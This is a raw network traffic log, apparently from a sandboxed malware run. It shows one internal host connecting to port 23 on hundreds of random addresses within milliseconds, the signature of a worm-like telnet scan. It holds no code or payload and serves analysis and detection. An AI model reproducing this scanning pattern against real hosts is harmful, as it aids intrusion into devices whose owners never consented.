Nov 23, 2023 05:14:49.596453905 CET	55738	23	192.168.2.13	36.107.221.1
Nov 23, 2023 05:14:49.596457958 CET	55738	23	192.168.2.13	105.186.79.236
Nov 23, 2023 05:14:49.596457958 CET	55738	23	192.168.2.13	163.96.41.123
Nov 23, 2023 05:14:49.596460104 CET	55738	23	192.168.2.13	251.189.193.155
Nov 23, 2023 05:14:49.596472025 CET	55738	23	192.168.2.13	135.82.195.7
Nov 23, 2023 05:14:49.596489906 CET	55738	23	192.168.2.13	46.215.26.250
Nov 23, 2023 05:14:49.596493959 CET	55738	23	192.168.2.13	188.245.10.95
Nov 23, 2023 05:14:49.596506119 CET	55738	23	192.168.2.13	170.227.222.191
Nov 23, 2023 05:14:49.596508980 CET	55738	23	192.168.2.13	114.12.50.136
Nov 23, 2023 05:14:49.596513033 CET	55738	23	192.168.2.13	254.214.186.114
Nov 23, 2023 05:14:49.596534014 CET	55738	23	192.168.2.13	36.118.34.91
Nov 23, 2023 05:14:49.596535921 CET	55738	23	192.168.2.13	1.82.255.102
Nov 23, 2023 05:14:49.596537113 CET	55738	23	192.168.2.13	243.50.26.139
Nov 23, 2023 05:14:49.596544027 CET	55738	23	192.168.2.13	255.130.200.246
Nov 23, 2023 05:14:49.596550941 CET	55738	23	192.168.2.13	217.216.91.101
Nov 23, 2023 05:14:49.596551895 CET	55738	23	192.168.2.13	246.37.109.96
Nov 23, 2023 05:14:49.596559048 CET	55738	23	192.168.2.13	200.66.111.134
Nov 23, 2023 05:14:49.596570969 CET	55738	23	192.168.2.13	141.235.14.14
Nov 23, 2023 05:14:49.596571922 CET	55738	23	192.168.2.13	111.132.43.129
Nov 23, 2023 05:14:49.596584082 CET	55738	23	192.168.2.13	223.47.142.185
Nov 23, 2023 05:14:49.596584082 CET	55738	23	192.168.2.13	71.100.37.158
Nov 23, 2023 05:14:49.596594095 CET	55738	23	192.168.2.13	44.94.66.236
Nov 23, 2023 05:14:49.596601963 CET	55738	23	192.168.2.13	12.43.96.9
Nov 23, 2023 05:14:49.596615076 CET	55738	23	192.168.2.13	124.10.77.0
Nov 23, 2023 05:14:49.596618891 CET	55738	23	192.168.2.13	65.157.188.39
Nov 23, 2023 05:14:49.596618891 CET	55738	23	192.168.2.13	204.205.110.253
Nov 23, 2023 05:14:49.596636057 CET	55738	23	192.168.2.13	20.104.160.106
Nov 23, 2023 05:14:49.596636057 CET	55738	23	192.168.2.13	44.96.203.92
Nov 23, 2023 05:14:49.596637964 CET	55738	23	192.168.2.13	174.6.31.254
Nov 23, 2023 05:14:49.596641064 CET	55738	23	192.168.2.13	18.231.28.138
Nov 23, 2023 05:14:49.596662045 CET	55738	23	192.168.2.13	135.182.147.63
Nov 23, 2023 05:14:49.596662998 CET	55738	23	192.168.2.13	250.234.51.24
Nov 23, 2023 05:14:49.596668005 CET	55738	23	192.168.2.13	196.121.121.86
Nov 23, 2023 05:14:49.596674919 CET	55738	23	192.168.2.13	146.238.250.119
Nov 23, 2023 05:14:49.596683025 CET	55738	23	192.168.2.13	97.104.52.101
Nov 23, 2023 05:14:49.596687078 CET	55738	23	192.168.2.13	179.246.163.234
Nov 23, 2023 05:14:49.596699953 CET	55738	23	192.168.2.13	109.198.215.175
Nov 23, 2023 05:14:49.596702099 CET	55738	23	192.168.2.13	79.243.253.150
Nov 23, 2023 05:14:49.596704006 CET	55738	23	192.168.2.13	147.56.108.120
Nov 23, 2023 05:14:49.596721888 CET	55738	23	192.168.2.13	172.158.4.216
Nov 23, 2023 05:14:49.596724033 CET	55738	23	192.168.2.13	148.232.155.99
Nov 23, 2023 05:14:49.596726894 CET	55738	23	192.168.2.13	92.72.180.192
Nov 23, 2023 05:14:49.596733093 CET	55738	23	192.168.2.13	38.72.76.197
Nov 23, 2023 05:14:49.596738100 CET	55738	23	192.168.2.13	108.68.174.138
Nov 23, 2023 05:14:49.596741915 CET	55738	23	192.168.2.13	150.181.45.239
Nov 23, 2023 05:14:49.596755028 CET	55738	23	192.168.2.13	185.226.102.47
Nov 23, 2023 05:14:49.596755981 CET	55738	23	192.168.2.13	44.168.218.219
Nov 23, 2023 05:14:49.596765995 CET	55738	23	192.168.2.13	182.9.135.16
Nov 23, 2023 05:14:49.596766949 CET	55738	23	192.168.2.13	223.170.103.142
Nov 23, 2023 05:14:49.596766949 CET	55738	23	192.168.2.13	1.253.244.82
Nov 23, 2023 05:14:49.596771002 CET	55738	23	192.168.2.13	205.152.68.246
Nov 23, 2023 05:14:49.596787930 CET	55738	23	192.168.2.13	175.138.155.86
Nov 23, 2023 05:14:49.596788883 CET	55738	23	192.168.2.13	253.131.4.109
Nov 23, 2023 05:14:49.596792936 CET	55738	23	192.168.2.13	85.173.187.215
Nov 23, 2023 05:14:49.596810102 CET	55738	23	192.168.2.13	164.197.196.45
Nov 23, 2023 05:14:49.596812963 CET	55738	23	192.168.2.13	80.13.148.134
Nov 23, 2023 05:14:49.596815109 CET	55738	23	192.168.2.13	80.218.7.247
Nov 23, 2023 05:14:49.596815109 CET	55738	23	192.168.2.13	70.215.141.35
Nov 23, 2023 05:14:49.596815109 CET	55738	23	192.168.2.13	116.28.255.198
Nov 23, 2023 05:14:49.596832991 CET	55738	23	192.168.2.13	44.128.10.240
Nov 23, 2023 05:14:49.596833944 CET	55738	23	192.168.2.13	102.17.254.107
Nov 23, 2023 05:14:49.596837997 CET	55738	23	192.168.2.13	87.59.63.64
Nov 23, 2023 05:14:49.596853018 CET	55738	23	192.168.2.13	156.194.238.194
Nov 23, 2023 05:14:49.596872091 CET	55738	23	192.168.2.13	182.239.98.38
Nov 23, 2023 05:14:49.596873999 CET	55738	23	192.168.2.13	109.250.222.196
Nov 23, 2023 05:14:49.596874952 CET	55738	23	192.168.2.13	112.142.187.145
Nov 23, 2023 05:14:49.596877098 CET	55738	23	192.168.2.13	175.124.120.200
Nov 23, 2023 05:14:49.596877098 CET	55738	23	192.168.2.13	251.122.28.146
Nov 23, 2023 05:14:49.596877098 CET	55738	23	192.168.2.13	249.232.156.96
Nov 23, 2023 05:14:49.596899033 CET	55738	23	192.168.2.13	223.30.169.241
Nov 23, 2023 05:14:49.596899033 CET	55738	23	192.168.2.13	34.135.188.197
Nov 23, 2023 05:14:49.596899033 CET	55738	23	192.168.2.13	216.124.144.109
Nov 23, 2023 05:14:49.596908092 CET	55738	23	192.168.2.13	47.115.1.67
Nov 23, 2023 05:14:49.596915960 CET	55738	23	192.168.2.13	222.159.118.207
Nov 23, 2023 05:14:49.596915960 CET	55738	23	192.168.2.13	114.212.223.66
Nov 23, 2023 05:14:49.596932888 CET	55738	23	192.168.2.13	209.217.145.106
Nov 23, 2023 05:14:49.596932888 CET	55738	23	192.168.2.13	135.252.37.66
Nov 23, 2023 05:14:49.596934080 CET	55738	23	192.168.2.13	31.101.130.142
Nov 23, 2023 05:14:49.596947908 CET	55738	23	192.168.2.13	32.5.171.255
Nov 23, 2023 05:14:49.596951962 CET	55738	23	192.168.2.13	206.228.254.195
Nov 23, 2023 05:14:49.596973896 CET	55738	23	192.168.2.13	209.174.51.231
Nov 23, 2023 05:14:49.596973896 CET	55738	23	192.168.2.13	148.44.193.97
Nov 23, 2023 05:14:49.596976995 CET	55738	23	192.168.2.13	57.217.22.234
Nov 23, 2023 05:14:49.596982002 CET	55738	23	192.168.2.13	62.2.199.55
Nov 23, 2023 05:14:49.596985102 CET	55738	23	192.168.2.13	255.204.250.171
Nov 23, 2023 05:14:49.596986055 CET	55738	23	192.168.2.13	184.4.125.182
Nov 23, 2023 05:14:49.596992016 CET	55738	23	192.168.2.13	211.205.222.78
Nov 23, 2023 05:14:49.597007990 CET	55738	23	192.168.2.13	151.164.181.79
Nov 23, 2023 05:14:49.597007990 CET	55738	23	192.168.2.13	244.68.84.187
Nov 23, 2023 05:14:49.597024918 CET	55738	23	192.168.2.13	195.137.12.75
Nov 23, 2023 05:14:49.597028017 CET	55738	23	192.168.2.13	207.158.79.244
Nov 23, 2023 05:14:49.597038031 CET	55738	23	192.168.2.13	101.21.104.223
Nov 23, 2023 05:14:49.597038031 CET	55738	23	192.168.2.13	179.247.197.128
Nov 23, 2023 05:14:49.597054958 CET	55738	23	192.168.2.13	152.224.146.178
Nov 23, 2023 05:14:49.597054958 CET	55738	23	192.168.2.13	146.124.52.169
Nov 23, 2023 05:14:49.597069025 CET	55738	23	192.168.2.13	100.17.201.111
Nov 23, 2023 05:14:49.597074032 CET	55738	23	192.168.2.13	254.215.170.120
Nov 23, 2023 05:14:49.597086906 CET	55738	23	192.168.2.13	110.68.45.163
Nov 23, 2023 05:14:49.597090006 CET	55738	23	192.168.2.13	34.136.185.23
Nov 23, 2023 05:14:49.597090960 CET	55738	23	192.168.2.13	203.104.206.27
Nov 23, 2023 05:14:49.597096920 CET	55738	23	192.168.2.13	184.15.214.224
Nov 23, 2023 05:14:49.597103119 CET	55738	23	192.168.2.13	199.72.237.16
Nov 23, 2023 05:14:49.597115993 CET	55738	23	192.168.2.13	220.161.47.125
Nov 23, 2023 05:14:49.597116947 CET	55738	23	192.168.2.13	216.177.93.54
Nov 23, 2023 05:14:49.597126961 CET	55738	23	192.168.2.13	180.80.60.110
Nov 23, 2023 05:14:49.597136021 CET	55738	23	192.168.2.13	129.6.75.25
Nov 23, 2023 05:14:49.597151995 CET	55738	23	192.168.2.13	94.216.191.253
Nov 23, 2023 05:14:49.597153902 CET	55738	23	192.168.2.13	66.126.236.209
Nov 23, 2023 05:14:49.597156048 CET	55738	23	192.168.2.13	82.68.47.219
Nov 23, 2023 05:14:49.597156048 CET	55738	23	192.168.2.13	255.248.37.79
Nov 23, 2023 05:14:49.597156048 CET	55738	23	192.168.2.13	221.152.221.32
Nov 23, 2023 05:14:49.597174883 CET	55738	23	192.168.2.13	212.192.142.87
Nov 23, 2023 05:14:49.597176075 CET	55738	23	192.168.2.13	1.242.226.182
Nov 23, 2023 05:14:49.597182035 CET	55738	23	192.168.2.13	179.8.251.103
Nov 23, 2023 05:14:49.597191095 CET	55738	23	192.168.2.13	174.222.124.16
Nov 23, 2023 05:14:49.597193956 CET	55738	23	192.168.2.13	248.126.184.126
Nov 23, 2023 05:14:49.597198963 CET	55738	23	192.168.2.13	180.172.160.67
Nov 23, 2023 05:14:49.597203970 CET	55738	23	192.168.2.13	72.138.167.245
Nov 23, 2023 05:14:49.597207069 CET	55738	23	192.168.2.13	53.152.90.250
Nov 23, 2023 05:14:49.597213984 CET	55738	23	192.168.2.13	133.44.64.208
Nov 23, 2023 05:14:49.597229004 CET	55738	23	192.168.2.13	179.150.106.136
Nov 23, 2023 05:14:49.597232103 CET	55738	23	192.168.2.13	106.4.155.160
Nov 23, 2023 05:14:49.597244024 CET	55738	23	192.168.2.13	2.11.83.35
Nov 23, 2023 05:14:49.597254038 CET	55738	23	192.168.2.13	117.192.228.130
Nov 23, 2023 05:14:49.597265005 CET	55738	23	192.168.2.13	194.63.198.28
Nov 23, 2023 05:14:49.597284079 CET	55738	23	192.168.2.13	221.113.137.200
Nov 23, 2023 05:14:49.597287893 CET	55738	23	192.168.2.13	93.227.81.245
Nov 23, 2023 05:14:49.597290993 CET	55738	23	192.168.2.13	159.91.139.119
Nov 23, 2023 05:14:49.597290993 CET	55738	23	192.168.2.13	251.5.72.222
Nov 23, 2023 05:14:49.597290993 CET	55738	23	192.168.2.13	243.178.221.82
Nov 23, 2023 05:14:49.597306967 CET	55738	23	192.168.2.13	244.134.36.168
Nov 23, 2023 05:14:49.597311020 CET	55738	23	192.168.2.13	161.161.33.31
Nov 23, 2023 05:14:49.597315073 CET	55738	23	192.168.2.13	109.204.147.251
Nov 23, 2023 05:14:49.597315073 CET	55738	23	192.168.2.13	18.216.130.11
Nov 23, 2023 05:14:49.597318888 CET	55738	23	192.168.2.13	46.183.226.106
Nov 23, 2023 05:14:49.597321987 CET	55738	23	192.168.2.13	165.70.100.165
Nov 23, 2023 05:14:49.597333908 CET	55738	23	192.168.2.13	105.101.188.166
Nov 23, 2023 05:14:49.597338915 CET	55738	23	192.168.2.13	219.134.36.203
Nov 23, 2023 05:14:49.597342968 CET	55738	23	192.168.2.13	75.138.27.253
Nov 23, 2023 05:14:49.597358942 CET	55738	23	192.168.2.13	150.76.175.144
Nov 23, 2023 05:14:49.597358942 CET	55738	23	192.168.2.13	211.1.176.207
Nov 23, 2023 05:14:49.597364902 CET	55738	23	192.168.2.13	197.199.106.237
Nov 23, 2023 05:14:49.597366095 CET	55738	23	192.168.2.13	19.90.83.111
Nov 23, 2023 05:14:49.597371101 CET	55738	23	192.168.2.13	169.72.251.120
Nov 23, 2023 05:14:49.597382069 CET	55738	23	192.168.2.13	79.118.214.190
Nov 23, 2023 05:14:49.597385883 CET	55738	23	192.168.2.13	97.108.229.120
Nov 23, 2023 05:14:49.597389936 CET	55738	23	192.168.2.13	144.18.229.120
Nov 23, 2023 05:14:49.597414017 CET	55738	23	192.168.2.13	9.153.170.62
Nov 23, 2023 05:14:49.597414970 CET	55738	23	192.168.2.13	24.128.208.245
Nov 23, 2023 05:14:49.597418070 CET	55738	23	192.168.2.13	19.157.184.194
Nov 23, 2023 05:14:49.597418070 CET	55738	23	192.168.2.13	199.54.228.49
Nov 23, 2023 05:14:49.597419024 CET	55738	23	192.168.2.13	4.89.36.170
Nov 23, 2023 05:14:49.597418070 CET	55738	23	192.168.2.13	79.227.2.133
Nov 23, 2023 05:14:49.597436905 CET	55738	23	192.168.2.13	53.153.148.224
Nov 23, 2023 05:14:49.597439051 CET	55738	23	192.168.2.13	66.210.87.96
Nov 23, 2023 05:14:49.597440004 CET	55738	23	192.168.2.13	1.18.78.76
Nov 23, 2023 05:14:49.597445965 CET	55738	23	192.168.2.13	141.237.18.83
Nov 23, 2023 05:14:49.597446918 CET	55738	23	192.168.2.13	13.146.167.208
Nov 23, 2023 05:14:49.597450018 CET	55738	23	192.168.2.13	190.97.231.233
Nov 23, 2023 05:14:49.597455978 CET	55738	23	192.168.2.13	58.103.61.85
Nov 23, 2023 05:14:49.597471952 CET	55738	23	192.168.2.13	178.38.76.68
Nov 23, 2023 05:14:49.597472906 CET	55738	23	192.168.2.13	107.184.115.118
Nov 23, 2023 05:14:49.597486019 CET	55738	23	192.168.2.13	118.243.7.14
Nov 23, 2023 05:14:49.597491026 CET	55738	23	192.168.2.13	243.7.130.101
Nov 23, 2023 05:14:49.597492933 CET	55738	23	192.168.2.13	155.190.160.205
Nov 23, 2023 05:14:49.597500086 CET	55738	23	192.168.2.13	38.137.252.200
Nov 23, 2023 05:14:49.597512007 CET	55738	23	192.168.2.13	108.97.58.151
Nov 23, 2023 05:14:49.597516060 CET	55738	23	192.168.2.13	113.191.36.41
Nov 23, 2023 05:14:49.597516060 CET	55738	23	192.168.2.13	251.66.62.241
Nov 23, 2023 05:14:49.597524881 CET	55738	23	192.168.2.13	97.105.9.133
Nov 23, 2023 05:14:49.597537994 CET	55738	23	192.168.2.13	78.140.194.103
Nov 23, 2023 05:14:49.597544909 CET	55738	23	192.168.2.13	139.0.202.162
Nov 23, 2023 05:14:49.597547054 CET	55738	23	192.168.2.13	254.98.197.228
Nov 23, 2023 05:14:49.597547054 CET	55738	23	192.168.2.13	161.105.239.168
Nov 23, 2023 05:14:49.597549915 CET	55738	23	192.168.2.13	199.72.203.13
Nov 23, 2023 05:14:49.597554922 CET	55738	23	192.168.2.13	41.95.208.84
Nov 23, 2023 05:14:49.597568035 CET	55738	23	192.168.2.13	244.187.240.194
Nov 23, 2023 05:14:49.597574949 CET	55738	23	192.168.2.13	89.215.196.237
Nov 23, 2023 05:14:49.597575903 CET	55738	23	192.168.2.13	20.58.140.173
Nov 23, 2023 05:14:49.597583055 CET	55738	23	192.168.2.13	192.50.12.171
Nov 23, 2023 05:14:49.597589970 CET	55738	23	192.168.2.13	161.155.181.203
Nov 23, 2023 05:14:49.597594976 CET	55738	23	192.168.2.13	84.114.97.40
Nov 23, 2023 05:14:49.597595930 CET	55738	23	192.168.2.13	94.145.249.53
Nov 23, 2023 05:14:49.597599030 CET	55738	23	192.168.2.13	20.66.136.98
Nov 23, 2023 05:14:49.597603083 CET	55738	23	192.168.2.13	57.174.50.45
Nov 23, 2023 05:14:49.597604036 CET	55738	23	192.168.2.13	165.176.137.151
Nov 23, 2023 05:14:49.597609043 CET	55738	23	192.168.2.13	151.141.89.207
Nov 23, 2023 05:14:49.597621918 CET	55738	23	192.168.2.13	96.233.134.191
Nov 23, 2023 05:14:49.597634077 CET	55738	23	192.168.2.13	109.30.181.97
Nov 23, 2023 05:14:49.597636938 CET	55738	23	192.168.2.13	186.48.208.51
Nov 23, 2023 05:14:49.597645998 CET	55738	23	192.168.2.13	71.33.219.192
Nov 23, 2023 05:14:49.597645998 CET	55738	23	192.168.2.13	247.129.73.235
Nov 23, 2023 05:14:49.597655058 CET	55738	23	192.168.2.13	81.21.156.133
Nov 23, 2023 05:14:49.597667933 CET	55738	23	192.168.2.13	194.146.249.218
Nov 23, 2023 05:14:49.597668886 CET	55738	23	192.168.2.13	90.202.194.253
Nov 23, 2023 05:14:49.597681046 CET	55738	23	192.168.2.13	84.114.23.248
Nov 23, 2023 05:14:49.597682953 CET	55738	23	192.168.2.13	110.97.88.254
Nov 23, 2023 05:14:49.597702026 CET	55738	23	192.168.2.13	188.180.56.192
Nov 23, 2023 05:14:49.597714901 CET	55738	23	192.168.2.13	1.250.192.143
Nov 23, 2023 05:14:49.597727060 CET	55738	23	192.168.2.13	59.93.79.210
Nov 23, 2023 05:14:49.597728968 CET	55738	23	192.168.2.13	206.56.160.17
Nov 23, 2023 05:14:49.597728968 CET	55738	23	192.168.2.13	245.130.72.254
Nov 23, 2023 05:14:49.597745895 CET	55738	23	192.168.2.13	95.106.119.22
Nov 23, 2023 05:14:49.597750902 CET	55738	23	192.168.2.13	123.120.75.207
Nov 23, 2023 05:14:49.597753048 CET	55738	23	192.168.2.13	175.140.11.183
Nov 23, 2023 05:14:49.597753048 CET	55738	23	192.168.2.13	254.218.194.244
Nov 23, 2023 05:14:49.597759962 CET	55738	23	192.168.2.13	114.84.206.129
Nov 23, 2023 05:14:49.597759962 CET	55738	23	192.168.2.13	76.89.48.28
Nov 23, 2023 05:14:49.597779989 CET	55738	23	192.168.2.13	220.179.247.28
Nov 23, 2023 05:14:49.597780943 CET	55738	23	192.168.2.13	81.20.191.219
Nov 23, 2023 05:14:49.597781897 CET	55738	23	192.168.2.13	181.151.133.221
Nov 23, 2023 05:14:49.597780943 CET	55738	23	192.168.2.13	146.120.238.134
Nov 23, 2023 05:14:49.597781897 CET	55738	23	192.168.2.13	250.230.216.56
Nov 23, 2023 05:14:49.597796917 CET	55738	23	192.168.2.13	12.140.99.241
Nov 23, 2023 05:14:49.597798109 CET	55738	23	192.168.2.13	8.75.96.164
Nov 23, 2023 05:14:49.597807884 CET	55738	23	192.168.2.13	218.230.204.68
Nov 23, 2023 05:14:49.597821951 CET	55738	23	192.168.2.13	86.186.48.61
Nov 23, 2023 05:14:49.597821951 CET	55738	23	192.168.2.13	103.79.146.167
Nov 23, 2023 05:14:49.597827911 CET	55738	23	192.168.2.13	115.95.88.240
Nov 23, 2023 05:14:49.597851038 CET	55738	23	192.168.2.13	125.219.220.194
Nov 23, 2023 05:14:49.597879887 CET	55738	23	192.168.2.13	218.190.39.62
Nov 23, 2023 05:14:49.597882986 CET	55738	23	192.168.2.13	177.175.11.62
Nov 23, 2023 05:14:49.597887993 CET	55738	23	192.168.2.13	104.65.129.3
Nov 23, 2023 05:14:49.597891092 CET	55738	23	192.168.2.13	82.254.164.236
Nov 23, 2023 05:14:49.597892046 CET	55738	23	192.168.2.13	189.98.148.37
Nov 23, 2023 05:14:49.597897053 CET	55738	23	192.168.2.13	44.219.194.179
Nov 23, 2023 05:14:49.597913027 CET	55738	23	192.168.2.13	34.80.37.132
Nov 23, 2023 05:14:49.597914934 CET	55738	23	192.168.2.13	109.235.35.166
Nov 23, 2023 05:14:49.597918034 CET	55738	23	192.168.2.13	158.185.46.106
Nov 23, 2023 05:14:49.597923040 CET	55738	23	192.168.2.13	102.185.229.58
Nov 23, 2023 05:14:49.597925901 CET	55738	23	192.168.2.13	141.139.5.220
Nov 23, 2023 05:14:49.597927094 CET	55738	23	192.168.2.13	122.182.17.37
Nov 23, 2023 05:14:49.597927094 CET	55738	23	192.168.2.13	91.128.6.255
Nov 23, 2023 05:14:49.597945929 CET	55738	23	192.168.2.13	97.238.109.13
Nov 23, 2023 05:14:49.597948074 CET	55738	23	192.168.2.13	89.246.165.176
Nov 23, 2023 05:14:49.597955942 CET	55738	23	192.168.2.13	200.109.185.96
Nov 23, 2023 05:14:49.597970009 CET	55738	23	192.168.2.13	57.73.92.209
Nov 23, 2023 05:14:49.597979069 CET	55738	23	192.168.2.13	221.10.47.102
Nov 23, 2023 05:14:49.597980022 CET	55738	23	192.168.2.13	156.3.100.28
Nov 23, 2023 05:14:49.597992897 CET	55738	23	192.168.2.13	209.74.146.196
Nov 23, 2023 05:14:49.598007917 CET	55738	23	192.168.2.13	253.39.86.249
Nov 23, 2023 05:14:49.598011017 CET	55738	23	192.168.2.13	114.184.223.85
Nov 23, 2023 05:14:49.598023891 CET	55738	23	192.168.2.13	91.215.202.135
Nov 23, 2023 05:14:49.598031998 CET	55738	23	192.168.2.13	223.183.38.94
Nov 23, 2023 05:14:49.598038912 CET	55738	23	192.168.2.13	62.17.41.0
Nov 23, 2023 05:14:49.598056078 CET	55738	23	192.168.2.13	105.36.0.249
Nov 23, 2023 05:14:49.598057032 CET	55738	23	192.168.2.13	181.89.35.73
Nov 23, 2023 05:14:49.598063946 CET	55738	23	192.168.2.13	178.93.239.23
Nov 23, 2023 05:14:49.598066092 CET	55738	23	192.168.2.13	71.83.178.29
Nov 23, 2023 05:14:49.598078012 CET	55738	23	192.168.2.13	98.47.201.11
Nov 23, 2023 05:14:49.598083973 CET	55738	23	192.168.2.13	72.127.82.213
Nov 23, 2023 05:14:49.598086119 CET	55738	23	192.168.2.13	94.2.54.96
Nov 23, 2023 05:14:49.598093987 CET	55738	23	192.168.2.13	248.101.86.242
Nov 23, 2023 05:14:49.598104954 CET	55738	23	192.168.2.13	130.175.157.52
Nov 23, 2023 05:14:49.598104954 CET	55738	23	192.168.2.13	141.216.136.66
Nov 23, 2023 05:14:49.598112106 CET	55738	23	192.168.2.13	1.28.139.243
Nov 23, 2023 05:14:49.598114014 CET	55738	23	192.168.2.13	155.141.184.236
Nov 23, 2023 05:14:49.598117113 CET	55738	23	192.168.2.13	45.64.161.175
Nov 23, 2023 05:14:49.598125935 CET	55738	23	192.168.2.13	198.38.43.192
Nov 23, 2023 05:14:49.598136902 CET	55738	23	192.168.2.13	184.58.196.65
Nov 23, 2023 05:14:49.598144054 CET	55738	23	192.168.2.13	104.186.254.46
Nov 23, 2023 05:14:49.598157883 CET	55738	23	192.168.2.13	118.68.11.192
Nov 23, 2023 05:14:49.598157883 CET	55738	23	192.168.2.13	65.43.214.47
Nov 23, 2023 05:14:49.598181963 CET	55738	23	192.168.2.13	118.117.163.63
Nov 23, 2023 05:14:49.598181963 CET	55738	23	192.168.2.13	103.119.33.51
Nov 23, 2023 05:14:49.598185062 CET	55738	23	192.168.2.13	213.161.226.56
Nov 23, 2023 05:14:49.598187923 CET	55738	23	192.168.2.13	31.35.206.227
Nov 23, 2023 05:14:49.598198891 CET	55738	23	192.168.2.13	100.204.47.143
Nov 23, 2023 05:14:49.598203897 CET	55738	23	192.168.2.13	80.237.209.161
Nov 23, 2023 05:14:49.598206997 CET	55738	23	192.168.2.13	164.170.110.173
Nov 23, 2023 05:14:49.598222017 CET	55738	23	192.168.2.13	96.169.204.159
Nov 23, 2023 05:14:49.598225117 CET	55738	23	192.168.2.13	248.147.111.70
Nov 23, 2023 05:14:49.598226070 CET	55738	23	192.168.2.13	32.88.135.131
Nov 23, 2023 05:14:49.598241091 CET	55738	23	192.168.2.13	189.195.77.169
Nov 23, 2023 05:14:49.598241091 CET	55738	23	192.168.2.13	97.112.180.251
Nov 23, 2023 05:14:49.598244905 CET	55738	23	192.168.2.13	186.16.233.186
Nov 23, 2023 05:14:49.598252058 CET	55738	23	192.168.2.13	177.255.140.148
Nov 23, 2023 05:14:49.598252058 CET	55738	23	192.168.2.13	195.96.135.232
Nov 23, 2023 05:14:49.598265886 CET	55738	23	192.168.2.13	152.133.27.239
Nov 23, 2023 05:14:49.598277092 CET	55738	23	192.168.2.13	46.90.213.46
Nov 23, 2023 05:14:49.598278999 CET	55738	23	192.168.2.13	223.69.158.205
Nov 23, 2023 05:14:49.598278999 CET	55738	23	192.168.2.13	207.62.16.106
Nov 23, 2023 05:14:49.598295927 CET	55738	23	192.168.2.13	98.234.143.122
Nov 23, 2023 05:14:49.598298073 CET	55738	23	192.168.2.13	163.193.121.61
Nov 23, 2023 05:14:49.598305941 CET	55738	23	192.168.2.13	117.198.242.184
Nov 23, 2023 05:14:49.598305941 CET	55738	23	192.168.2.13	161.0.55.242
Nov 23, 2023 05:14:49.598323107 CET	55738	23	192.168.2.13	159.146.229.3
Nov 23, 2023 05:14:49.598324060 CET	55738	23	192.168.2.13	163.120.216.60
Nov 23, 2023 05:14:49.598324060 CET	55738	23	192.168.2.13	187.132.192.111
Nov 23, 2023 05:14:49.598335981 CET	55738	23	192.168.2.13	100.25.70.122
Nov 23, 2023 05:14:49.598336935 CET	55738	23	192.168.2.13	94.200.230.136
Nov 23, 2023 05:14:49.598345995 CET	55738	23	192.168.2.13	206.196.83.165
Nov 23, 2023 05:14:49.598352909 CET	55738	23	192.168.2.13	221.17.4.207
Nov 23, 2023 05:14:49.598359108 CET	55738	23	192.168.2.13	153.120.156.153
Nov 23, 2023 05:14:49.598373890 CET	55738	23	192.168.2.13	143.251.152.103
Nov 23, 2023 05:14:49.598381996 CET	55738	23	192.168.2.13	69.98.79.10
Nov 23, 2023 05:14:49.598393917 CET	55738	23	192.168.2.13	247.164.164.174
Nov 23, 2023 05:14:49.598402023 CET	55738	23	192.168.2.13	246.103.81.50
Nov 23, 2023 05:14:49.598404884 CET	55738	23	192.168.2.13	18.68.29.218
Nov 23, 2023 05:14:49.598404884 CET	55738	23	192.168.2.13	105.238.54.71
Nov 23, 2023 05:14:49.598423004 CET	55738	23	192.168.2.13	112.102.115.209
Nov 23, 2023 05:14:49.598426104 CET	55738	23	192.168.2.13	73.214.151.213
Nov 23, 2023 05:14:49.598437071 CET	55738	23	192.168.2.13	163.203.106.138
Nov 23, 2023 05:14:49.598452091 CET	55738	23	192.168.2.13	113.116.90.202
Nov 23, 2023 05:14:49.598452091 CET	55738	23	192.168.2.13	16.188.106.212
Nov 23, 2023 05:14:49.598473072 CET	55738	23	192.168.2.13	97.241.11.104
Nov 23, 2023 05:14:49.598474026 CET	55738	23	192.168.2.13	167.112.127.26
Nov 23, 2023 05:14:49.598476887 CET	55738	23	192.168.2.13	75.5.44.199
Nov 23, 2023 05:14:49.598476887 CET	55738	23	192.168.2.13	176.140.21.125
Nov 23, 2023 05:14:49.598483086 CET	55738	23	192.168.2.13	207.12.247.104
Nov 23, 2023 05:14:49.598484993 CET	55738	23	192.168.2.13	181.210.142.205
Nov 23, 2023 05:14:49.598484993 CET	55738	23	192.168.2.13	117.99.137.65
Nov 23, 2023 05:14:49.598484993 CET	55738	23	192.168.2.13	73.216.39.208
Nov 23, 2023 05:14:49.598495960 CET	55738	23	192.168.2.13	210.95.201.207
Nov 23, 2023 05:14:49.598503113 CET	55738	23	192.168.2.13	200.98.208.16
Nov 23, 2023 05:14:49.598520994 CET	55738	23	192.168.2.13	73.134.147.18
Nov 23, 2023 05:14:49.598530054 CET	55738	23	192.168.2.13	14.201.153.0
Nov 23, 2023 05:14:49.598550081 CET	55738	23	192.168.2.13	206.193.58.232
Nov 23, 2023 05:14:49.598555088 CET	55738	23	192.168.2.13	78.22.46.29
Nov 23, 2023 05:14:49.598557949 CET	55738	23	192.168.2.13	161.159.103.40
Nov 23, 2023 05:14:49.598572969 CET	55738	23	192.168.2.13	151.200.143.55
Nov 23, 2023 05:14:49.598588943 CET	55738	23	192.168.2.13	118.57.221.177
Nov 23, 2023 05:14:49.598592997 CET	55738	23	192.168.2.13	61.65.125.213
Nov 23, 2023 05:14:49.598599911 CET	55738	23	192.168.2.13	255.66.190.29
Nov 23, 2023 05:14:49.598602057 CET	55738	23	192.168.2.13	65.35.71.65
Nov 23, 2023 05:14:49.598602057 CET	55738	23	192.168.2.13	78.145.222.80
Nov 23, 2023 05:14:49.598604918 CET	55738	23	192.168.2.13	181.6.31.3
Nov 23, 2023 05:14:49.598607063 CET	55738	23	192.168.2.13	222.222.163.220
Nov 23, 2023 05:14:49.598613977 CET	55738	23	192.168.2.13	69.242.117.64
Nov 23, 2023 05:14:49.598617077 CET	55738	23	192.168.2.13	53.201.68.249
Nov 23, 2023 05:14:49.598617077 CET	55738	23	192.168.2.13	145.237.140.132
Nov 23, 2023 05:14:49.598630905 CET	55738	23	192.168.2.13	87.28.110.34
Nov 23, 2023 05:14:49.598637104 CET	55738	23	192.168.2.13	246.124.12.176
Nov 23, 2023 05:14:49.598639965 CET	55738	23	192.168.2.13	20.201.253.110
Nov 23, 2023 05:14:49.598644018 CET	55738	23	192.168.2.13	195.54.116.3
Nov 23, 2023 05:14:49.598654032 CET	55738	23	192.168.2.13	248.154.156.202
Nov 23, 2023 05:14:49.598660946 CET	55738	23	192.168.2.13	253.164.67.14
Nov 23, 2023 05:14:49.598664045 CET	55738	23	192.168.2.13	100.22.112.193
Nov 23, 2023 05:14:49.598673105 CET	55738	23	192.168.2.13	122.143.211.150
Nov 23, 2023 05:14:49.598676920 CET	55738	23	192.168.2.13	1.246.198.194
